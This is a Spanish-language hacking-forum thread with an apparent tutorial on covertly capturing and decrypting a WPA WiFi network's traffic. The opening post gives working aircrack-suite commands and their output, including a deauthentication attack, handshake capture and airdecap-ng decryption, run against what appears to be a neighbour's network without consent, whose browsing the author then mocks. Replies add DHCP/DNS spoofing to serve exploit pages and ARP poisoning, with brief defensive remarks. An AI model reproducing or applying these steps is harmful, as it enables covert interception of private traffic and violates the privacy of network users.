Capturando el tráfico de una red WiFi como un ninja

Iniciado por rand0m, Agosto 19, 2015, 03:22:11 AM

Tema anterior - Siguiente tema

CHAELITO y 2 Visitantes están viendo este tema.

Agosto 19, 2015, 03:22:11 AM Ultima modificación: Septiembre 16, 2015, 08:52:32 AM por ANTRAX
Capturando el tráfico de una red WiFi como un ninja


Una de las cosas que más nos debería preocupar cuando tenemos a un intruso en nuestra red de confianza (Red local de casa, del trabajo, etc.) es que capture el tráfico y lo analice, de forma que pueda controlar lo que estamos haciendo.

Una vez invadida una red WiFi podríamos intentar capturar tráfico con tcpdump, pero no tendríamos los resultados esperados. Una buena forma de hacerlo sería redirigir todo el tráfico de la red a nuestro equipo para poder analizarlo, pero ésto podría disparar varias alarmas.

The quieter you become, the more you are able to hear
El lema de BackTrack es lo que nos trae a buscar procedimientos más silenciosos, así que... ¿Cómo podemos capturar el tráfico de la red sin llamar la atención?

La respuesta es, como siempre: DEPENDE

Muchos hackers dan una respuesta muy tajante con respecto a la seguridad y el WiFi: No lo uses, usa cable. Pero ¿por qué son tan tajantes?

Algunos se amparan en la lógica de la velocidad de red. Está muy bien que con las redes WiFi N alcances 150Mbps, o que los 450Mbps con wifi a 5GHz, pero sigue siendo menos que la mitad que las redes Gigabit. Coherente, lógico y correcto. En eso es mejor el cable que el WiFi. ¿Pero qué más?

Seguridad. Utilizar WiFi es jugar con fuego bajo determinadas circunstancias, ya que el tráfico de la red se puede capturar sin estar conectado a la red (Cualquiera que sepa levantar claves WEP habrá capturado muchísimo tráfico antes de conocer la contraseña)

Una vez sabida la contraseña podríamos intentar descifrar todo el tráfico capturado para su posterior análisis en Ethereal. Pero en las redes WPA no es tan sencillo. Es muy fácil, pero no tanto.

¿Cómo se crackea una clave WPA?

No lo voy a explicar aquí en detalle, éso debéis estudiarlo en otros posts. Necesitamos llegar aquí sabiendo que necesitamos capturar el handshake de un cliente autenticado para hacerle un ataque por diccionario, hasta que el archivo se descifra correctamente y obtenemos el positivo.

Por esa regla de tres podemos deducir que si tenemos el handshake y la contraseña podemos descifrar los paquetes capturados para analizarlos después. Y para eso no necesitamos estar conectados a la red, sólo tener nuestra antena WiFi a la escucha.

El otro día estuve jugando con No tienes permitido ver los links. Registrarse o Entrar a mi cuenta con un resultado fructífero. Usaré ese AP a modo de dummy. (Nota: Los posibles datos identificativos han sido editados)

Código: text
root@kali:/home/rand0m/neighbor# airodump-ng -w ahorateveo --bssid D8:61:FF:FF:FF:FF --essid VodafoneFFFF --channel  7 --output-format pcap -a wlan0mon


Lanzamos airodump-ng con los parámetros bssid y essid para filtrar sólo el tráfico de la red que nos interesa. Además le decimos que nos guarde el archivo ahorateveo en formato pcap.

Código: text
 CH  7 ][ Elapsed: 0 s ][ 2015-08-18 22:07 

BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

D8:61:FF:FF:FF:FF  -81 100       40        0    0   7  54e  WPA  CCMP   PSK  VodafoneFFFF

BSSID              STATION            PWR   Rate    Lost    Frames  Probe


De primeras tenemos nuestra antena a la escucha y filtrando los paquetes de la red que queremos. Ahora necesitamos el handshake, así que lanzamos el ataque DEAUTH con aireplay-ng.

Código: text
root@kali:/home/rand0m/neighbor# aireplay-ng -0 0 -a D8:61:FF:FF:FF:FF wlan0mon
22:10:30  Waiting for beacon frame (BSSID: D8:61:FF:FF:FF:FF) on channel 7
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
22:10:31  Sending DeAuth to broadcast -- BSSID: [D8:61:FF:FF:FF:FF]
22:10:32  Sending DeAuth to broadcast -- BSSID: [D8:61:FF:FF:FF:FF]
22:10:32  Sending DeAuth to broadcast -- BSSID: [D8:61:FF:FF:FF:FF]
22:10:33  Sending DeAuth to broadcast -- BSSID: [D8:61:FF:FF:FF:FF]
22:10:33  Sending DeAuth to broadcast -- BSSID: [D8:61:FF:FF:FF:FF]
22:10:34  Sending DeAuth to broadcast -- BSSID: [D8:61:FF:FF:FF:FF]
22:10:34  Sending DeAuth to broadcast -- BSSID: [D8:61:FF:FF:FF:FF]
22:10:34  Sending DeAuth to broadcast -- BSSID: [D8:61:FF:FF:FF:FF]
22:10:35  Sending DeAuth to broadcast -- BSSID: [D8:61:FF:FF:FF:FF]
22:10:35  Sending DeAuth to broadcast -- BSSID: [D8:61:FF:FF:FF:FF]


Hasta que conseguimos lo que queríamos: El WPA handshake.

Código: text
 CH  7 ][ Elapsed: 5 mins ][ 2015-08-18 22:12 ][ WPA handshake: D8:61:FF:FF:FF:FF

BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

D8:61:FF:FF:FF:FF  -81 100       40        0    0   7  54e  WPA  CCMP   PSK  VodafoneFFFF

BSSID              STATION            PWR   Rate    Lost    Frames  Probe

D8:61:FF:FF:FF:FF  18:83:FF:FF:FF:FF  -74    1e- 6      0     4019  VodafoneFFFF


Ahora lo dejamos a la escucha y nos olvidamos. Vamos a dejarlo capturando unas horas y luego veremos qué nos encontramos.

Cuando tenemos un buen pino ya podemos ponernos a estudiar los datos recopilados.

Código: text
 CH  7 ] 9 hours 55 mins ][ 2015-08-19 08:02 ][ WPA handshake: D8:61:FF:FF:FF:FF

BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

D8:61:FF:FF:FF:FF  -82  96   298434    99355    0   7  54e  WPA  CCMP   PSK  VodafoneFFFF

BSSID              STATION            PWR   Rate    Lost    Frames  Probe

D8:61:FF:FF:FF:FF  18:83:FF:FF:FF:FF  -75    1e- 6      0     1365  VodafoneFFFF


Ahora, para descifrarlo, usaremos la herramienta airdecap-ng, que viene con la suite de aircrack-ng.

Código: text
root@kali:/home/rand0m/neighbor# airdecap-ng -e VodafoneFFFF -b D8:61:FF:FF:FF:FF -p Underc0de ahorateveo-01.cap
Total number of packets read       2532614
Total number of WEP data packets         0
Total number of WPA data packets     93405
Number of plaintext data packets         0
Number of decrypted WEP  packets         0
Number of corrupted WEP  packets         0
Number of decrypted WPA  packets     79414


Esto nos generará el archivo ahorateveo-01-dec.cap con los paquetes descifrados. Ya sólo nos queda abrirlo en Wireshark para poder analizar los datos recopilados.

Por ejemplo, viendo las consultas DNS realizadas podemos ver por dónde estuvo navegando.
Y podemos ver que es un chico malo malo que navega por piratebay y por páginas golfas. Lo típico que hace alguien relajándose mientras no hay nadie mirando, pero ¿cuántas veces creemos que no nos observan mientras sí lo hacen?

Además, como hablábamos al principio, los paquetes se capturaron del aire. No estoy conectado a la red, sólo conozco la contraseña.

NO aparezco conectado a su red. NO aparezco enviando tráfico sospechoso. Sólo escucho, descifro y analizo.

The quieter you become, the more you are able to hear

**
  by rand0m para Underc0de - Distribuido bajo No tienes permitido ver los links. Registrarse o Entrar a mi cuenta (Click para ver los detalles).
Podría vivir perfectamente con una mancha de pis en la alfombra, pero qué va, tío: Más complicaciones.

Agosto 19, 2015, 09:07:50 AM #1 Ultima modificación: Agosto 19, 2015, 03:06:10 PM por WhiZ
Excelente aporte @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta! realmente da gusto leer tus posts! +1

Saludos!
WhiZ

P.D.: dejo todo como estaba.


Muy bueno @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta como siempre !!

Citar
Muchos hackers dan una respuesta muy tajante con respecto a la seguridad y el WiFi: No lo uses, usa cable. Pero ¿por qué son tan tajantes?

Algunos se amparan en la lógica de la velocidad de red. Está muy bien que con las redes WiFi N alcances 150Mbps, o que los 450Mbps con wifi a 5GHz, pero sigue siendo menos que la mitad que las redes Gigabit. Coherente, lógico y correcto. En eso es mejor el cable que el WiFi. ¿Pero qué más?

Pues en efecto tienes razon, las redes cableadas ofrecen mayores velocidades, pero son pocos flexibles, y la verdad no soportan mucha escalabilidad, ademas de las fallas inherentes a su forma fisica (cables dañados, diafonias por induccion, etc..) que son un poco mas seguras... Pues como tu dices, eso depende.  ::)

Ahora surge la pregunta: ¿Como evitar que rand0m alguien sepa los sitios que visito?

Pues si bien es cierto que la mayoria de los sitios web que visitamos cifran las comunicaciones de extremo a extremo (saber que tambien esto se vulnera con SSL_Trip) tambien es cierto que las consultas DNS van sin cifrar y en texto planito incluso cuando usamos HTTPS ó alguna VPN, la solucion... Instalar y configurar algun servicio de cifrado para las consultas DNS, mi recomendacion DNSCrypt existen mas alternativas por ahi, pero yo confio mas en la gente de OpenDNS.

Saludos por alla.
El talento se parece al tirador que da en un blanco que los demás no pueden alcanzar; el genio se parece al tirador que da en un blanco que los demás no pueden ver.


Agosto 19, 2015, 01:20:53 PM #3 Ultima modificación: Agosto 19, 2015, 03:06:28 PM por WhiZ
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Pues si bien es cierto que la mayoria de los sitios web que visitamos cifran las comunicaciones de extremo a extremo (saber que tambien esto se vulnera con SSL_Trip)
Supongo que te refieres al ataque sslstrip, que ya es un ataque MITM y no podríamos hacerlo capturando el tráfico con airodump-ng. Tendríamos que estar conectados a la red, por lo que ya no sería tan ninja.
Otra cosa que podría hacer, desplegando un ataque más complejo y que no trataremos aquí, sería reconfigurar el DHCP del router para que los clientes resuelvan sus consultas DNS en un servidor bajo mi control. También sería muy sigiloso, pero creo que el método menos ruidoso para capturar tráfico en una red es el expuesto en este post.
Aunque abramos el debate:

¿Es efectivamente el método de sniff más difícil de detectar?
¿Cuál sería el más sigiloso para capturar tráfico a través del cable?
Podría vivir perfectamente con una mancha de pis en la alfombra, pero qué va, tío: Más complicaciones.

Citar¿Es efectivamente el método de sniff más difícil de detectar?

Pues esnifar una red inalambrica siempre sera mas silencioso, pero jamas debemos pensar que sera totoalmente invisible, usando una que otra herramienta es posible detectar al espia, kismet por ejemplo puede generar alertas cuando algun NIC se comporte en modo ectraño, tambien existen herramientas de pago para detectar espias y/o tarjetas que esten esnifando. Pero en resumen creo que la respuesta seria: Si, esnifar una red inalambrica es mas dificil de detectar.

Citar¿Cuál sería el más sigiloso para capturar tráfico a través del cable?

Pues en el caos de una red no conmutada esnifar no supone ningun problema, tampoco generariamos ruido al hacerlo, simplemente es sentarse a esperar las tramas que lleguen, pero ya cuando estamos conectamos a un entorno conmutado las cosas se ponen un poco  mas dificiles, es decir ó nos hacemos notar ó no esnifamos.

Para esnifar en una red conmutada necesitamos:

MAC Spoofing.
Desbordamiento de la tabla de direcciones MAC ó cualquier otra jugada.

El asunto es que esto genera ruidos y hace saltar las alarmas de cualquier red configurada decentemente. Una forma de hacerlo sin levantar sospechas es como comentas mas arriba, modificar la informacion que proporciona DHCP a los terminales y cambiar el servidor DNS (DNS Spoofing), pero no seria efectivo en terminales que tengan el direccionamiento estatico.

Saludos hermano.
El talento se parece al tirador que da en un blanco que los demás no pueden alcanzar; el genio se parece al tirador que da en un blanco que los demás no pueden ver.


@No tienes permitido ver los links. Registrarse o Entrar a mi cuenta , como dijo @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta da gusto leer tus aportes!, sigue asi compañero.

Saludos!

Como me refería a capturar el tráfico de un equipo conectado por cable desde mi antena wifi estamos ante una red conmutada, así que se nos plantea lo siguiente:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Para esnifar en una red conmutada necesitamos:

MAC Spoofing.
Desbordamiento de la tabla de direcciones MAC ó cualquier otra jugada.

El asunto es que esto genera ruidos y hace saltar las alarmas de cualquier red configurada decentemente. Una forma de hacerlo sin levantar sospechas es como comentas mas arriba, modificar la informacion que proporciona DHCP a los terminales y cambiar el servidor DNS (DNS Spoofing), pero no seria efectivo en terminales que tengan el direccionamiento estatico.
Así que podríamos intentar reconfigurar los servidores DNS utilizados para registrar cada consulta hecha en un servidor DNS desplegado por nosotros. Además eso nos permite controlar qué respuestas se dan a cada consulta, por lo que podríamos devolver a la inocente consulta de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta la dirección de una página que tenemos preparada con algún (O varios) exploit. Pero no funcionaría en los equipos que tengan la configuración ajustada manualmente.
Para este tipo de casos ya tendríamos que sacar la artillería e intentarlo con un MITM por ARP Poisoning (Mi favorito), pero como comentábamos al principio no es tan ninja, pero cuando llega la hora de ponerse serios la mejor forma de plantear un ataque efectivo, como vimos en el de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, es estudiar el entorno y buscar puntos débiles.

A base de capturar tráfico, analizarlo y estudiar el entorno podemos buscar indicios de algún servicio vulnerable, un mal hábito, o simplemente el login a una página que todavía no utilice SSL para ello (Sé que parece una tontería, pero la mayoría de los usuarios utilizan la misma contraseña para todo).

Y con todo esto la conclusión a la que llegamos es que bajo determinadas circunstancias (Este usuario utiliza todos sus equipos por wifi) el tráfico se puede interceptar y descifrar de una manera tan discreta como sintonizar nuestra antena al canal y capturando la información del aire. Eso es peligrosísimo, y para mitigarlo se implementan SSL y TSL, que para poder vulnerar tenemos que salir de las sombras (Conectarnos a la red) y empezar la acción. Pero eso creo que ya merece un post para él solo.
Podría vivir perfectamente con una mancha de pis en la alfombra, pero qué va, tío: Más complicaciones.

Un aporte genial, llegué buscando exactamente ésto y lo encontré con el mayor de los lujos en detalles.

¡Gracias, RAND0M!
Si nos imponemos limites, no seremos más.

mi problema es que mi qireshark nada mas tiene wep key No tienes permitido ver los links. Registrarse o Entrar a mi cuenta buscado como poner wap or tras pero no e tenido suerte.